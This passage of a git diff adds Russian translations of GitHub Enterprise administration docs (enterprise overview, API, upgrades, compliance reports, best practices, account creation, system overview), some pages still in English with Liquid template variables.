%}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server)." + +## Further reading + +- "[Getting started with {% data variables.product.product_name %}](/get-started/onboarding/getting-started-with-github-enterprise-server)" +- "[About {% data variables.contact.github_support %}](/support/learning-about-github-support/about-github-support)" +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository diff --git a/translations/ru-RU/content/admin/overview/about-github-for-enterprises.md b/translations/ru-RU/content/admin/overview/about-github-for-enterprises.md new file mode 100644 index 000000000000..4fc01bf2aadd --- /dev/null +++ b/translations/ru-RU/content/admin/overview/about-github-for-enterprises.md @@ -0,0 +1,41 @@ +--- +title: About GitHub for enterprises +intro: 'Businesses can use {% data variables.product.prodname_dotcom %}''s enterprise products to improve their entire software development lifecycle.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Enterprise + - Fundamentals +--- + +## About {% data variables.product.prodname_dotcom %} for enterprises + +{% data variables.product.prodname_dotcom %} is a complete developer platform to build, scale, and deliver secure software. Businesses use our suite of products to support the entire software development lifecycle, increasing development velocity and improving code quality. + +Developers can store and version control your source code in repositories, using issues and projects to plan and track their work. They can code in a cloud-hosted development environment, {% data variables.product.prodname_github_codespaces %}, then review each other's code changes with pull requests, using code security features to keep secrets and vulnerabilities out of your codebase. Finally, you can automate your build, test, and deployment pipeline with {% data variables.product.prodname_actions %} and host software packages with {% data variables.product.prodname_registry %}. + +When businesses adopt {% data variables.product.prodname_enterprise %}, their return on investment (ROI) is high. For example, their developers save 45 minutes per day, and onboarding and training time is reduced by 40%. For more information, see [The Total Economic Impact of {% data variables.product.prodname_enterprise %}](https://resources.github.com/downloads/TEI-of-GitHub-Enterprise.pdf). + +To simplify administration for all the stages in the software development lifecycle, we provide a single point of visibility and management called an enterprise account. Enterprise accounts enable you to manage billing and settings, enforce policy, and audit the people with access to your enterprise's resources. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." + +Optionally, you can add extra code security features with {% data variables.product.prodname_GH_advanced_security %}, and enhanced support options with {% data variables.contact.premium_support %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" and "[About {% data variables.contact.premium_support %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/support/learning-about-github-support/about-github-premium-support){% ifversion ghae %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +## About deployment options + +When you purchase {% data variables.product.prodname_enterprise %}, you get access to both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_ghe_cloud %} is a set of advanced functionality on {% data variables.product.prodname_dotcom_the_website %}, while {% data variables.product.prodname_ghe_server %} is self-hosted platform. For more information, see "[About {% data variables.product.prodname_ghe_server %}]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/overview/about-github-enterprise-server){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} + +For {% data variables.product.prodname_ghe_cloud %}, you can allow developers to create and manage their own personal accounts, or you can use {% data variables.product.prodname_emus %}, which enables you to create and manage the user accounts for your developers. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." + +{% data variables.product.prodname_ghe_managed %} is in limited availability for select customers with stringent security and compliance requirements. For more information, see "[About {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/overview/about-github-ae){% ifversion not ghae %}" in the {% data variables.product.prodname_ghe_managed %} documentation.{% else %}."{% endif %} + +You can benefit from the power of {% data variables.product.prodname_dotcom_the_website %} even while using {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %} by enabling {% data variables.product.prodname_github_connect %}, which allows you to configure additional features and workflows such as {% data variables.product.prodname_dependabot_alerts %} for insecure dependencies.{% ifversion ghec %} + +- "[About {% data variables.product.prodname_github_connect %}](/enterprise-server@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_server %} documentation +- "[About {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_managed %} documentation{% else %} For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)."{% endif %} + +## Further reading + +- [Compare {% data variables.product.prodname_dotcom %} to other DevOps solutions](https://resources.github.com/devops/tools/compare/) in {% data variables.product.company_short %} Resources diff --git a/translations/ru-RU/content/admin/overview/about-the-github-enterprise-api.md b/translations/ru-RU/content/admin/overview/about-the-github-enterprise-api.md new file mode 100644 index 000000000000..c901c7084ee8 --- /dev/null +++ b/translations/ru-RU/content/admin/overview/about-the-github-enterprise-api.md @@ -0,0 +1,27 @@ +--- +title: About the GitHub Enterprise API +intro: '{% data variables.product.product_name %} supports REST and GraphQL APIs.' +redirect_from: + - /enterprise/admin/installation/about-the-github-enterprise-server-api + - /enterprise/admin/articles/about-the-enterprise-api + - /enterprise/admin/articles/using-the-api + - /enterprise/admin/categories/api + - /enterprise/admin/overview/about-the-github-enterprise-server-api + - /admin/overview/about-the-github-enterprise-server-api +versions: + ghes: '*' + ghae: '*' +topics: + - Enterprise +shortTitle: GitHub Enterprise API +--- + +With the APIs, you can automate many administrative tasks. Some examples include: + +{% ifversion ghes %} +- Perform changes to the {% data variables.enterprise.management_console %}. For more information, see "[{% data variables.enterprise.management_console %}](/enterprise/user/rest/reference/enterprise-admin#management-console)." +- Configure LDAP sync. For more information, see "[LDAP](/enterprise/user/rest/reference/enterprise-admin#ldap)."{% endif %} +- Collect statistics about your enterprise. For more information, see "[Admin stats](/rest/reference/enterprise-admin#admin-stats)." +- Manage your enterprise account. For more information, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)." + +For the complete documentation for the {% data variables.product.prodname_enterprise_api %}, see [{% data variables.product.prodname_dotcom %} REST API](/rest) and [{% data variables.product.prodname_dotcom%} GraphQL API](/graphql). diff --git a/translations/ru-RU/content/admin/overview/about-upgrades-to-new-releases.md b/translations/ru-RU/content/admin/overview/about-upgrades-to-new-releases.md new file mode 100644 index 000000000000..2f217db4ee9f --- /dev/null +++ b/translations/ru-RU/content/admin/overview/about-upgrades-to-new-releases.md @@ -0,0 +1,52 @@ +--- +title: Сведения об обновлении до новых выпусков +shortTitle: About upgrades +intro: '{% ifversion ghae %}Ваше предприятие в {% data variables.product.product_name %} регулярно обновляется с использованием последних функций и исправлений ошибок {% data variables.product.company_short %}.{% else %} Вы можете воспользоваться новыми функциями и исправлениями ошибок для {% data variables.product.product_name %}, обновив ваше предприятие до новой версии.{% endif %}' +versions: + ghes: '*' + ghae: '*' +type: overview +topics: + - Enterprise + - Upgrades +ms.openlocfilehash: b3a2d340ef73ffe92f2117caf38a84e76ba0c8d1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108853' +--- +{% data reusables.enterprise.constantly-improving %}{% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} — полностью управляемая служба, так что {% data variables.product.company_short %} завершает процесс обновления для предприятия.{% endif %} + +Выпуски с новыми функциями включают новые возможности и обновления и обычно выходят ежеквартально. {% ifversion ghae %}{% data variables.product.company_short %} обновит ваше предприятие до последнего выпуска с новыми функциями. Вам будет предоставлено предварительное уведомление о любых запланированных простоях вашего предприятия.{% endif %} + +{% ifversion ghes %} + +После {% data variables.product.prodname_ghe_server %} версии 3.0 все выпуски компонентов начинаются по крайней мере с одного релиз-кандидата. Релиз-кандидаты — это предлагаемые выпуски с новыми функциями с полным набором функций. В релиз-кандидате могут быть ошибки или проблемы, которые можно обнаружить только по отзывам клиентов, фактически использующих {% data variables.product.product_name %}. + +Можно получить ранний доступ к новейшим функциям, протестировав релиз-кандидата, как только он станет доступен. Можно выполнить обновление до релиз-кандидата с поддерживаемой версии, а также обновить релиз-кандидата до более поздних версий, когда они будут выпущены. Стоит обновить любую среду, в которой работает релиз-кандидат, как только эта версия станет общедоступной. Дополнительные сведения см. в разделе [Требования для обновления](/admin/enterprise-management/upgrade-requirements). + +Релиз-кандидаты должны быть развернуты в тестовых или промежуточных средах. При тестировании релиз-кандидата отправляйте отзыв, обратившись в службу поддержки. Дополнительные сведения см. в разделе [Работа с {% data variables.contact.github_support %}](/admin/enterprise-support). + +Мы будем использовать ваши отзывы для исправления ошибок и любых других необходимых изменений, чтобы создать стабильную рабочую версию. Каждый новый релиз-кандидат добавляет исправления ошибок, найденных в предыдущих версиях. Когда выпуск готов к широкому внедрению, {% data variables.product.company_short %} публикует стабильный рабочий выпуск. + +{% endif %} + +{% warning %} + +**Предупреждение**. Обновление до выпуска с новыми функциями приведет к нескольким часам простоя, в течение которых ни один из пользователей не сможет применять предприятие. Можно информировать своих пользователей о простоях, опубликовав глобальный рекламный баннер, применяя настройки предприятия или REST API. Дополнительные сведения см. в разделах [Настройка сообщений пользователей в экземпляре](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner) и [{% data variables.product.prodname_enterprise %} Администрирование ](/rest/reference/enterprise-admin#announcements). + +{% endwarning %} + +{% ifversion ghes %} + +Выпуски исправлений, состоящие только из горячих исправлений и исправлений ошибок, происходят чаще. Выпуски исправлений общедоступны при первом выпуске без релиз-кандидатом. Для обновления до выпуска исправлений обычно требуется менее пяти минут простоя. + +Чтобы обновить предприятие до нового выпуска, см. разделы [Заметки о выпуске](/enterprise-server/admin/release-notes) и [Обновление {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server). Поскольку можно выполнить обновление только с версии функции, которая отстает не более чем на две версии, используйте [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade), чтобы найти путь обновления с текущей версии выпуска. + +{% endif %} + +## Дополнительные материалы + +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) в репозитории `github/roadmap`{% ifversion ghae %} +- [Заметки о выпуске {% data variables.product.prodname_ghe_managed %}](/admin/release-notes) {% endif %} diff --git a/translations/ru-RU/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md b/translations/ru-RU/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md new file mode 100644 index 000000000000..54a3a71056b6 --- /dev/null +++ b/translations/ru-RU/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md @@ -0,0 +1,36 @@ +--- +title: Доступ к отчетам о соответствии требованиям для вашего предприятия +intro: 'Вы можете получить доступ к отчетам {% data variables.product.company_short %} о соответствии своего предприятия требованиям, например к отчетам SOC и самооценке Cloud Security Alliance CAIQ (CSA CAIQ).' +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Enterprise + - Fundamentals +permissions: Enterprise owners can access compliance reports for the enterprise. +shortTitle: Access compliance reports +ms.openlocfilehash: d9391e9bb029620ee9c034a5ad3092588e914c36 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148008667' +--- +## Сведения об отчетах о соответствии требованиям для {% data variables.product.company_short %} + +Вы можете получить доступ к отчетам о соответствии требованиям для {% data variables.product.company_short %} в разделе параметров предприятия. + +{% data reusables.security.compliance-report-list %} + +## Доступ к отчетам о соответствии требованиям для вашего предприятия + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %} +1. В разделе "Ресурсы" справа от отчета, который требуется открыть, щелкните {% octicon "download" aria-label="The Download icon" %} **Скачать** или {% octicon "link-external" aria-label="The external link icon" %} **Просмотреть**. + + {% data reusables.security.compliance-report-screenshot %} + +## Дополнительные материалы + +- [Доступ к отчетам о соответствии для организации](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization){% ifversion enterprise-member-csv %} +- [Экспорт сведений о членстве для предприятия](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise){% endif %} diff --git a/translations/ru-RU/content/admin/overview/best-practices-for-enterprises.md b/translations/ru-RU/content/admin/overview/best-practices-for-enterprises.md new file mode 100644 index 000000000000..a9e03ca182bd --- /dev/null +++ b/translations/ru-RU/content/admin/overview/best-practices-for-enterprises.md @@ -0,0 +1,53 @@ +--- +title: Рекомендации для предприятий +shortTitle: Best practices +intro: 'Ознакомьтесь с рекомендациями по использованию {% data variables.product.company_short %}для вашего предприятия.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Accounts + - Enterprise + - Fundamentals +ms.openlocfilehash: 9c9ccfb0437b451188f8180dcf5ae29a6030f72d +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163456' +--- +{% ifversion ghec %} +## Определение наилучшего метода проверки подлинности для предприятия + +{% data reusables.enterprise.ghec-authentication-options %} + +Сведения о том, как определить метод проверки подлинности, который лучше всего соответствует вашим потребностям, см. в разделе [Сведения о проверке подлинности для вашего предприятия](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise). {% endif %} + +## Использование политик + +Мы рекомендуем использовать политики для обеспечения соблюдения бизнес-правил и соответствия нормативным требованиям. + +{% data reusables.enterprise.about-policies %} Дополнительные сведения см. в разделе [Сведения о корпоративных политиках](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies). + +## Минимизация числа организаций + +Крупные предприятия часто нуждаются в нескольких организациях, но стараются создать как можно меньше для отражения корпоративных подразделений верхнего уровня. Меньшее число организаций поощряет методы работы с внутренними источниками и позволяет участвовать в обсуждениях более широкой аудитории. + +Вместо этого вы можете управлять требованиями к доступу к репозиторию и безопасности на более детальном уровне в каждой организации с помощью команд. Дополнительные сведения см. в статье "[Сведения о командах](/organizations/organizing-members-into-teams/about-teams)". + +## Избегайте широкой совместной работы в репозиториях, принадлежащих пользователям + +Мы рекомендуем по возможности совместно работать в репозиториях, принадлежащих организации, и свести к минимуму совместную работу в пользовательских репозиториях. Репозитории, принадлежащие организации, имеют более сложные функции безопасности и администрирования, и они остаются доступными даже при изменении членства в организации. + +## Использование доступных для чтения пользователем имен пользователей + +{% ifversion ghec %} Если вы контролируете имена пользователей для участников предприятия, используйте{% else %}Используйте{% endif %} доступные для чтения имена пользователей и избегайте созданных компьютером идентификаторов, которые трудно прочитать. + +Вы можете управлять отображением имен пользователей в частных репозиториях предприятия. Дополнительные сведения см. в разделе [Управление отображением имен участников в организации](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization). + +## Дополнительные материалы + +- Рекомендации [по репозиториям](/repositories/creating-and-managing-repositories/best-practices-for-repositories) +- "[Рекомендации для организаций](/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations)" diff --git a/translations/ru-RU/content/admin/overview/creating-an-enterprise-account.md b/translations/ru-RU/content/admin/overview/creating-an-enterprise-account.md new file mode 100644 index 000000000000..05743bc138c3 --- /dev/null +++ b/translations/ru-RU/content/admin/overview/creating-an-enterprise-account.md @@ -0,0 +1,62 @@ +--- +title: Создание учетной записи предприятия +intro: 'Если сейчас вы используете {% data variables.product.prodname_ghe_cloud %} для одной организации, можно создать учетную запись предприятия, чтобы централизованно управлять несколькими организациями.' +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Enterprise + - Fundamentals +permissions: Organization owners can create an enterprise account. +shortTitle: Create enterprise account +ms.openlocfilehash: a264a5a1ca3e7461c8e05fc02e93064737d79940 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147573404' +--- +## Сведения о создании учетной записи предприятия + +{% data variables.product.prodname_ghe_cloud %} включает возможность создания учетной записи предприятия, которая обеспечивает совместную работу между несколькими организациями и предоставляет администраторам единую точку видимости и управления. Дополнительные сведения см. в статье [Сведения об учетных записях предприятия](/admin/overview/about-enterprise-accounts). + +{% data reusables.enterprise.create-an-enterprise-account %} При оплате по счету вы можете создать учетную запись предприятия самостоятельно на {% data variables.product.prodname_dotcom %}. В противном случае [свяжитесь с отделом продаж](https://github.com/enterprise/contact?ref_page=/pricing&ref_cta=Contact%20Sales&ref_loc=cards), чтобы вам создали учетную запись предприятия. + +Корпоративная учетная запись входит в {% data variables.product.prodname_ghe_cloud %} Создание корпоративной учетной записи не приводит к дополнительным расходам. + +При создании корпоративной учетной записи, связанной с существующей организацией в {% data variables.product.product_name %}, ресурсы организации остаются доступными для участников по тем же URL-адресам. После добавления организации в корпоративную учетную запись к организации будут применяться следующие изменения. + +- Существующая организация автоматически будет принадлежать учетной записи предприятия. +- {% data variables.product.company_short %} выставляет счета за использование корпоративной учетной записи во всех организациях, принадлежащих предприятию. Текущие сведения о выставлении счетов организации, включая адрес электронной почты для выставления счетов организации, станут сведениями о выставлении счетов новой учетной записи предприятия. Дополнительные сведения см. в разделе [О выставлении счетов для вашего предприятия](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise). +- Все текущие владельцы вашей организации становятся владельцами корпоративной учетной записи, а все текущие менеджеры по выставлению счетов в организации становятся менеджерами по выставлению счетов новой корпоративной учетной записи. Дополнительные сведения см. в разделе [Роли в организации](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). + +Дополнительные сведения об изменениях, которые применяются к организации после добавления организации в предприятие, см. в разделе [Добавление организаций в предприятие](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#about-addition-of-organizations-to-your-enterprise-account). + +## Создание учетной записи предприятия на {% data variables.product.prodname_dotcom %} + +Чтобы создать учетную запись предприятия, ваша организация должна использовать {% data variables.product.prodname_ghe_cloud %}. + +Если вы производите оплату по счету, можно создать учетную запись предприятия напрямую через {% data variables.product.prodname_dotcom %}. В противном случае [свяжитесь с отделом продаж](https://github.com/enterprise/contact?ref_page=/pricing&ref_cta=Contact%20Sales&ref_loc=cards), чтобы вам создали учетную запись предприятия. + + +{% data reusables.organizations.billing-settings %} +1. Нажмите кнопку **Upgrade to enterprise account** (Обновить до учетной записи предприятия). + + ![Снимок экрана: кнопка Upgrade to an enterprise account (Обновить до учетной записи предприятия)](/assets/images/help/business-accounts/upgrade-to-enterprise-account.png) +1. В разделе Enterprise name (Название предприятия) введите значение для учетной записи предприятия. + + ![Снимок экрана: поле Enterprise name (Название предприятия)](/assets/images/help/business-accounts/enterprise-name-field.png) +1. В разделе Enterprise URL slug (Динамический идентификатор URL-адреса предприятия) введите динамический идентификатор для учетной записи предприятия. Этот динамический идентификатор будет использоваться в URL-адресе предприятия. Например, если выбрать `octo-enterprise`, URL-адрес предприятия будет иметь значение `https://github.com/enterprises/octo-enterprise`. + + ![Снимок экрана: поле Enterprise URL slug (Динамический идентификатор URL-адреса предприятия)](/assets/images/help/business-accounts/enterprise-slug-field.png) +1. Нажмите кнопку **Confirm and upgrade** (Подтвердить и обновить). + + ![Снимок экрана: кнопка Confirm and upgrade (Подтвердить и обновить)](/assets/images/help/business-accounts/confirm-and-upgrade-button.png) +1. Прочтите предупреждения и нажмите кнопку **Create enterprise account** (Создать учетную запись предприятия). + + ![Снимок экрана: кнопка Create enterprise account (Создать учетную запись предприятия)](/assets/images/help/business-accounts/create-enterprise-account-button.png) + +## Дальнейшие действия + +После создания учетной записи предприятия мы рекомендуем узнать больше о том, как работают такие учетные записи, а также настроить параметры и политики. Дополнительные сведения см. в схеме обучения [Начало работы с учетной записью предприятия](/admin/guides#get-started-with-your-enterprise-account). diff --git a/translations/ru-RU/content/admin/overview/index.md b/translations/ru-RU/content/admin/overview/index.md new file mode 100644 index 000000000000..c3c1017ad1c4 --- /dev/null +++ b/translations/ru-RU/content/admin/overview/index.md @@ -0,0 +1,29 @@ +--- +title: Обзор +intro: 'Вы можете узнать о {% data variables.product.product_name %} и управлять{% ifversion ghes %} учетными записями и доступом, лицензиями и{% endif %} выставлением счетов.' +redirect_from: + - /enterprise/admin/overview +versions: + ghec: '*' + ghes: '*' + ghae: '*' +children: + - /about-github-for-enterprises + - /about-github-enterprise-server + - /about-github-ae + - /about-upgrades-to-new-releases + - /about-data-residency + - /about-enterprise-accounts + - /system-overview + - /about-the-github-enterprise-api + - /best-practices-for-enterprises + - /creating-an-enterprise-account + - /accessing-compliance-reports-for-your-enterprise +ms.openlocfilehash: f0322eef087f09b029051fc08ac61bc4e529d6dc +ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163571' +--- +Для получения дополнительных сведений или приобретения {% data variables.product.prodname_enterprise %} см. [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise). diff --git a/translations/ru-RU/content/admin/overview/system-overview.md b/translations/ru-RU/content/admin/overview/system-overview.md new file mode 100644 index 000000000000..c1e59ff959d0 --- /dev/null +++ b/translations/ru-RU/content/admin/overview/system-overview.md @@ -0,0 +1,167 @@ +--- +title: System overview +intro: 'Learn more about {% data variables.product.product_name %}''s system internals, functionality, and security.' +redirect_from: + - /enterprise/admin/installation/system-overview + - /enterprise/admin/overview/system-overview +versions: + ghes: '*' +type: overview +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Security + - Storage +--- + +## About {% data variables.product.product_name %} + +{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} {% data reusables.enterprise.github-distributes-ghes %} For more information, see "[About {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server)." + +## Storage architecture + +{% data variables.product.product_name %} requires two storage volumes, one mounted to the *root filesystem* path (`/`) and the other to the *user filesystem* path (`/data/user`). This architecture simplifies the upgrade, rollback, and recovery procedures by separating the running software environment from persistent application data. + +The root filesystem is included in the distributed machine image. It contains the base operating system and the {% data variables.product.product_name %} application environment. The root filesystem should be treated as ephemeral. Any data on the root filesystem will be replaced when upgrading to future {% data variables.product.product_name %} releases. + +The root storage volume is split into two equally-sized partitions. One of the partitions will be mounted as the root filesystem (`/`). The other partition is only mounted during upgrades and rollbacks of upgrades as `/mnt/upgrade`, to facilitate easier rollbacks if necessary. For example, if a 200GB root volume is allocated, there will be 100GB allocated to the root filesystem and 100GB reserved for the upgrades and rollbacks. + +The root filesystem contains files that store the following information. This list is not exhaustive. + +- Custom certificate authority (CA) certificates (in `/usr/local/share/ca-certificates*`) +- Custom networking configurations +- Custom firewall configurations +- The replication state + +The user filesystem contains files that store following configuration and data. This list is not exhaustive. + +- Git repositories +- Databases +- Search indexes +- Content published on {% data variables.product.prodname_pages %} sites +- Large files from {% data variables.large_files.product_name_long %} +- Pre-receive hook environments + +## Deployment topologies + +You can deploy {% data variables.product.product_name %} in a variety of topologies, such as a high availability pair. For more information, see "[About {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server#about-deployment-topologies)." + +## Data retention and datacenter redundancy + +{% warning %} + +**Warning**: Before using {% data variables.product.product_name %} in a production environment, we strongly recommend you set up backups and a disaster recovery plan. + +{% endwarning %} + +{% data variables.product.product_name %} includes support for online and incremental backups with {% data variables.product.prodname_enterprise_backup_utilities %}. You can take incremental snapshots over a secure network link (the SSH administrative port) over long distances for off-site or geographically dispersed storage. You can restore snapshots over the network into a newly provisioned instance at time of recovery in case of disaster at the primary datacenter. + +In addition to network backups, both AWS (EBS) and VMware disk snapshots of the user storage volumes are supported while the instance is offline or in maintenance mode. Regular volume snapshots can be used as a low-cost, low-complexity alternative to network backups with {% data variables.product.prodname_enterprise_backup_utilities %} if your service level requirements allow for regular offline maintenance. + +For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)." + +## Security + +{% data reusables.enterprise.ghes-runs-on-your-infrastructure %} + +{% data variables.product.product_name %} also includes additional security features. + +- [Operating system, software, and patches](#operating-system-software-and-patches) +- [Network security](#network-security) +- [Application security](#application-security) +- [External services and support access](#external-services-and-support-access) +- [Encrypted communication](#encrypted-communication) +- [Users and access permissions](#users-and-access-permissions) +- [Authentication](#authentication) +- [Audit and access logging](#audit-and-access-logging) + +### Operating system, software, and patches + +{% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services. {% data variables.product.company_short %} distributes patches for the instance's core operating system as part of its standard product release cycle. Patches address functionality, stability, and non-critical security issues for {% data variables.product.product_name %}. {% data variables.product.company_short %} also provides critical security patches as needed outside of the regular release cycle. + +{% data variables.product.product_name %} is provided as an appliance, and many of the operating system packages are modified compared to the usual Debian distribution. We do not support modifying the underlying operating system for this reason (including operating system upgrades), which is aligned with the [{% data variables.product.prodname_ghe_server %} license and support agreement](https://enterprise.github.com/license), under section 11.3 Exclusions. + +Currently, the base operating system for {% data variables.product.product_name %} is Debian 9 (Stretch), which receives support under the Debian Long Term Support program. There are plans to move to a newer base operating system before the end of the Debian LTS period for Stretch. + +Regular patch updates are released on the {% data variables.product.product_name %} [releases](https://enterprise.github.com/releases) page, and the [release notes](/admin/release-notes) page provides more information. These patches typically contain upstream vendor and project security patches after they've been tested and quality approved by our engineering team. There can be a slight time delay from when the upstream update is released to when it's tested and bundled in an upcoming {% data variables.product.product_name %} patch release. + +### Network security + +{% data variables.product.product_name %}'s internal firewall restricts network access to the instance's services. Only services necessary for the appliance to function are available over the network. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports)." + +### Application security + +{% data variables.product.company_short %}'s application security team focuses full-time on vulnerability assessment, penetration testing, and code review for {% data variables.product.company_short %} products, including {% data variables.product.product_name %}. {% data variables.product.company_short %} also contracts with outside security firms to provide point-in-time security assessments of {% data variables.product.company_short %} products. + +### External services and support access + +{% data variables.product.product_name %} can operate without any egress access from your network to outside services. You can optionally enable integration with external services for email delivery, external monitoring, and log forwarding. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)," "[Setting up external monitoring](/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring)," and "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)." + +You can manually collect and send troubleshooting data to {% data variables.contact.github_support %}. For more information, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support)." + +### Encrypted communication + +{% data variables.product.company_short %} designs {% data variables.product.product_name %} to run behind your corporate firewall. To secure communication over the wire, we encourage you to enable Transport Layer Security (TLS). {% data variables.product.product_name %} supports 2048-bit and higher commercial TLS certificates for HTTPS traffic. For more information, see "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)." + +By default, the instance also offers Secure Shell (SSH) access for both repository access using Git and administrative purposes. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." + +{% ifversion ghes > 3.3 %} + +If you configure SAML authentication for {% data variables.location.product_location %}, you can enable encrypted assertions between the instance and your SAML IdP. For more information, see "[Using SAML](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml#enabling-encrypted-assertions)." + +{% endif %} + +### Users and access permissions + +{% data variables.product.product_name %} provides three types of accounts. + +- The `admin` Linux user account has controlled access to the underlying operating system, including direct filesystem and database access. A small set of trusted administrators should have access to this account, which they can access over SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." +- User accounts in the instance's web application have full access to their own data and any data that other users or organizations explicitly grant. +- Site administrators in the instance's web application are user accounts that can manage high-level web application and instance settings, user and organization account settings, and repository data. + +For more information about {% data variables.product.product_name %}'s user permissions, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/access-permissions-on-github)." + +### Authentication + +{% data variables.product.product_name %} provides four authentication methods. + +- SSH public key authentication provides both repository access using Git and administrative shell access. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." +- Username and password authentication with HTTP cookies provides web application access and session management, with optional two-factor authentication (2FA). For more information, see "[Using built-in authentication](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication)." +- External LDAP, SAML, or CAS authentication using an LDAP service, SAML Identity Provider (IdP), or other compatible service provides access to the web application. For more information, see "[Managing IAM for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise)." +- OAuth and {% data variables.product.pat_generic %}s provide access to Git repository data and APIs for both external clients and services. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +### Audit and access logging + +{% data variables.product.product_name %} stores both traditional operating system and application logs. The application also writes detailed auditing and security logs, which {% data variables.product.product_name %} stores permanently. You can forward both types of logs in real time to multiple destinations via the `syslog-ng` protocol. For more information, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)" and "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)." + +Access and audit logs include information like the following. + +#### Access logs + +- Full web server logs for both browser and API access +- Full logs for access to repository data over Git, HTTPS, and SSH protocols +- Administrative access logs over HTTPS and SSH + +#### Audit logs + +- User logins, password resets, 2FA requests, email setting changes, and changes to authorized applications and APIs +- Site administrator actions, such as unlocking user accounts and repositories +- Repository push events, access grants, transfers, and renames +- Organization membership changes, including team creation and 